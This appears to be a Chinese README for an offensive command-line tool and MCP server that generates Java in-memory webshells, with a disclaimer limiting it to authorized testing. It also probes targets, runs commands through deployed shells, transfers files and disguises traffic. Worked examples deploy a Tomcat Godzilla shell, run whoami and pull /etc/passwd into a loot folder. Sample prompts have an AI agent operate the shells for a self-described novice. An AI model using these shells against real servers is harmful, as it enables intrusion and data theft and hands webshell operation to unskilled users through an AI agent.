English | 中文
MemShellParty 的命令行客户端 + MCP 服务器:生成 Java 内存马、探测目标、连马验证、执行命令、传输文件。设计给 AI 代理(Claude Code 等)用自然语言操作,也可以自己当普通命令行敲。
⚠️ 仅限授权安全测试、红队演练与研究。请勿用于未授权目标,后果自负。
| 能力 | 说明 |
|---|---|
| 生成内存马 | 约 17 种中间件/框架(Tomcat、Jetty、JBoss、WebLogic、SpringWebMvc、Undertow、Resin、Struts2…),9 种工具(哥斯拉、冰蝎、蚁剑、Command、suo5、NeoreGeorg、Proxy、自定义 class),Listener/Filter/Servlet/Agent 等多种挂载方式,60+ 种打包器(Base64、JSP、反序列化链、SpEL/OGNL 表达式注入、AgentJar…) |
| 盲探测 probe | 不知道目标是什么中间件时,先用 DNSLog / Sleep / 回显探测服务器类型和 JDK 版本 |
| 连马验证 connect | 用真实协议握手验证马是否存活、密码对不对(哥斯拉/冰蝎/suo5/mimic) |
| 执行命令 exec | 在已部署的哥斯拉/冰蝎马上执行命令,自动识别 Windows/Linux |
| 传文件 upload/download | 大文件自动分块,传完校验完整性(哥斯拉比大小、冰蝎比 MD5) |
| 目标管理 save/list | 把马保存成"项目/名字",以后 memparty exec web1 --cmd whoami 不用再敲一长串参数 |
| 操作日志 log | 每次操作自动记录到本地文件,不记录密码和文件内容 |
| 流量伪装 mimic | 手写一份站点 profile,让马的流量长得和目标站点的正常页面一样 |
| 交互模式 | 直接敲 memparty 进入 REPL;memparty gen 进入向导,按菜单选 |
所有生成的马都带一个认证 header(在 gen --json 的输出里),别人扫到 URL 也用不了你的马。
- 让 AI 用(推荐) — 装上配套 skill / MCP 后,直接用大白话指挥 AI,它负责选参数、敲命令、处理报错。
- 自己敲命令 — 完整的 CLI,每个选项都有对应参数,可脚本化;
--json输出方便集成。
- 电脑装好 Node.js(选 LTS,18 或更新)
- 打开终端,复制粘贴:
npm install -g memshell-party-cli- 检查是否成功:
memparty version能看到版本号就 OK。
Skill 是给 AI 看的完整说明书。装好后,AI 会按手册一步步操作,不用你懂技术。
用 Claude Code 的,执行:
memparty skill install --claude用别的 AI 代理的,执行:
memparty skill install两个都想装:
memparty skill install --user --claude装完后重启一下你的 AI 工具(关掉再打开),它才会读到新 skill。
以后升级了本工具,再跑一遍上面的安装命令,就能刷新说明书。
让 AI 能直接调用本工具。在 AI 的 MCP 配置里加上:
{
"mcpServers": {
"memshell-party": {
"command": "npx",
"args": ["-y", "memshell-party-cli", "mcp"]
}
}
}保存后重启 AI。
先确认 skill 在不在(推荐每次新开对话先说这句):
请先读取 memshell-party 这个 skill,然后严格按 skill 里的步骤操作,不要自己瞎猜参数。
生成一个马:
请按 memshell-party skill,帮我生成一个常用的 Tomcat 哥斯拉内存马。
把文件、密码、密钥都给我,并用简单话告诉我下一步怎么做。
连上马并执行命令:
请按 memshell-party skill 操作。
网址:【http://这里换成你的地址】
类型:哥斯拉,密码:【pass】,密钥:【key】。
先测能不能连上,连上后执行 whoami,用简单话告诉我结果。
传文件:
请按 memshell-party skill。
在已经连上的马上:
下载服务器上的【/etc/passwd】到本地;
上传本地【工具.exe】到服务器【/tmp/工具.exe】。
我完全不懂,你带我:
我是小白。请先读取 memshell-party skill,然后一步一步带我:
1. 生成一个常用的 Tomcat 哥斯拉内存马
2. 用大白话告诉我生成结果里哪些要保存
3. 我部署好后把网址发给你,你帮我连上并执行命令
每一步先说明要做什么,等我确认再继续。只在我授权的环境操作。
命令一览:
| 命令 | 干什么 |
|---|---|
memparty gen |
生成内存马(不带参数进入交互向导) |
memparty probe |
生成探测马,盲测目标中间件/JDK |
memparty connect |
验证马是否存活、凭据对不对 |
memparty exec |
在马上执行命令 |
memparty upload / download |
通过马上传/下载文件 |
memparty save / list / note / remove |
保存目标、按名字管理 |
memparty log |
查操作日志 |
memparty config |
查后端支持的中间件/工具/打包器 |
memparty profile / custom build / demo |
mimic 流量伪装:写站点画像、构建自定义马、本地演示 |
memparty skill install |
给 AI 装使用手册 |
memparty mcp |
启动 MCP 服务器 |
memparty parse-classname |
解析 .class 的类名 |
memparty version |
查看 CLI 和后端版本 |
典型流程:
# 1. 生成一个 Tomcat 哥斯拉马(Listener 型,base64 输出,自动解码写成 .class)
memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
--godzilla-pass pass --godzilla-key key -o shell.class
# 2. 部署后验证是否存活(header 值在 gen --json 的输出里)
memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \
--header-name User-Agent --header-value <token>
# 3. 存成名字,以后不用敲参数
memparty save web1 -u http://target/shell.jsp -t godzilla --pass pass --key key \
--header-name User-Agent --header-value <token>
# 4. 执行命令、传文件
memparty exec web1 --cmd "whoami"
memparty download web1 /etc/passwd -o loot/passwd拿不准有哪些合法取值,直接问后端(这些名字就是参数里要填的值):
memparty config servers # 支持哪些中间件
memparty config tools Tomcat # 这个中间件支持哪些工具和挂载类型
memparty config packers # 打包器列表(按投放方式选)每个命令都能加 --help 看详细参数和例子;完整参数参考见 英文 README。
默认用公共站 https://party.mem.mk,试用没问题;但真实测试别把 payload 交给公共服务——建议用 Docker 自建(见 MemShellParty 的 README),然后:
memparty --api http://127.0.0.1:8080 gen
# 或设环境变量,一劳永逸
export MEMPARTY_API_URL=http://127.0.0.1:8080优先级:--api 参数 > MEMPARTY_API_URL 环境变量 > ~/.mempartyrc 配置文件 > 默认公共站。
- mimic 自定义内存马实战指南 — 流量伪装端到端实战(人读版)
- 自定义内存马设计方案 — mimic 的设计文档
- README.en.md — 完整英文参考(全部命令、参数、MCP 工具、API 调用)
- skills/memshell-party/SKILL.md — 给 AI 的操作手册,人想深入细节也可以读
npm install
npm run build # tsup -> dist/
npm test # vitest
npm run typecheck # tsc --noEmitMIT